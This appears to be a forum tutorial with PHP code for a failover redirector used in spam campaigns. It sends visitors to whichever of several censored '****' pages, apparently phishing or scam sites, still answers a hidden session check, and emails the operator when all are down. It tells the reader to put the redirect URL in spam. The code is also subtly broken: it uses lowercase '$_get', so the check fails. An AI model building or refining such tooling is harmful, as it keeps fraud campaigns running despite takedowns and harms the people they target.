create page for redirect and insert this code:

code:
<?php
function ****_exists($strurl) {
$data = file_get_contents($strurl);
return $data;
}
$conf_word = "exists"; // confirmation word for checker to see if the **** is still alive
$url1 = "http://www.****1.com/?session=31337"; // first **** url
$url2 = "http://www.****2.com/?session=31337"; // second **** url
$url3 = "http://www.****3.com/?session=31337"; // third **** url (actually you can add as much as you like, but don't forget to add equal number of "elseif"
if(****_exists($url1) == $conf_word) {
$url1 = str_replace("?session=31337","", $url1); // str_replace("?session=31337","you_can_put_here_wha tever_you_need_to", $url1);
header("location: $url1");
}
elseif(****_exists($url2) == $conf_word) {
$url2 = str_replace("?session=31337","", $url2);
header("location: $url2");
}
elseif(****_exists($url3) == $conf_word) {
$url3 = str_replace("?session=31337","", $url3);
header("location: $url3");
}
else {
@mail('[email protected]','****s report','all your ****s are offline'); // or send mail to you if all ****s are offline
header("location: http://editme.com"); // any site where people should be redirected if all ****s are offline
}
?>

now in you **** page before all other code add:

code:
<?php
$ses = "31337";
$session = $_get['session'];
if($session == $ses) { echo "exists"; }
else {
?>

and add this in the end of your **** after all code:

code:
<?php
}
?>

now upload all **** pages and redirect page to separate places. in your spam add redirect page's url. it will check if your ****s are responding to query and if any of them aren't online it will redirect to working ****.